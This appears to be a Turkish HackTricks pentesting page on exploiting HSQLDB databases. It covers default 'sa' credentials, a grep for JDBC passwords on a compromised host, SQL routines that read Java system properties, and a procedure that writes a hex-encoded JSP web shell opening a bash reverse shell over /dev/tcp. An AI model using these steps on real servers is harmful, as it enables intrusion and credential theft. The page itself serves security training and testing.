tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Temel Bilgiler
HSQLDB (HyperSQL DataBase), Java ile yazılmış önde gelen SQL ilişkisel veritabanı sistemidir. Bellek içi ve disk tabanlı tablolarla küçük, hızlı çok iş parçacıklı ve işlem tabanlı bir veritabanı motoru sunar ve gömülü ve sunucu modlarını destekler.
Varsayılan port: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Bilgi
Varsayılan Ayarlar
Bu hizmetin varsayılan olarak muhtemelen bellekte çalıştığını veya localhost'a bağlı olduğunu unutmayın. Eğer bunu bulduysanız, muhtemelen başka bir hizmeti istismar ettiniz ve yetkileri artırmaya çalışıyorsunuzdur.
Varsayılan kimlik bilgileri genellikle sa
ve boş bir şifre ile gelir.
Başka bir hizmeti istismar ettiyseniz, olası kimlik bilgilerini arayın.
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Veritabanı adını dikkatlice not edin - bağlanmak için buna ihtiyacınız olacak.
Bilgi Toplama
DB örneğine bağlanmak için HSQLDB'yi indirerek hsqldb/lib/hsqldb.jar
dosyasını çıkarın. GUI uygulamasını (eww) java -jar hsqldb.jar
komutuyla çalıştırın ve keşfedilen/zayıf kimlik bilgilerini kullanarak örneğe bağlanın.
Bağlantı URL'sinin uzaktan bir sistem için şöyle görüneceğini unutmayın: jdbc:hsqldb:hsql://ip/DBNAME
.
Hileler
Java Dil Rutinleri
HSQLDB'den Java sınıfının statik yöntemlerini çağırabiliriz. Çağrılan sınıfın uygulamanın classpath'inde olması gerektiğini unutmayın.
JRT'ler fonksiyonlar
veya prosedürler
olabilir. Fonksiyonlar, Java yöntemi bir veya daha fazla SQL uyumlu ilkel değişken döndürdüğünde SQL ifadeleri aracılığıyla çağrılabilir. VALUES
ifadesi kullanılarak çağrılırlar.
Çağırmak istediğimiz Java yöntemi void döndürüyorsa, CALL
ifadesi ile çağrılan bir prosedür kullanmamız gerekir.
Java Sistem Özelliklerini Okuma
Fonksiyon oluştur:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Fonksiyonu çalıştır:
VALUES(getsystemproperty('user.name'))
Aşağıda bir sistem özellikleri listesi bulabilirsiniz.
Dosyaya İçerik Yazma
Hex kodlu öğeleri diske yazmak için uygulamanın sınıf yoluna otomatik olarak yüklenen JDK'da bulunan com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Java aracı kullanılabilir. Maksimum boyutun 1024 byte olduğunu unutmayın.
Prosedürü oluşturun:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Prosedürü çalıştır:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.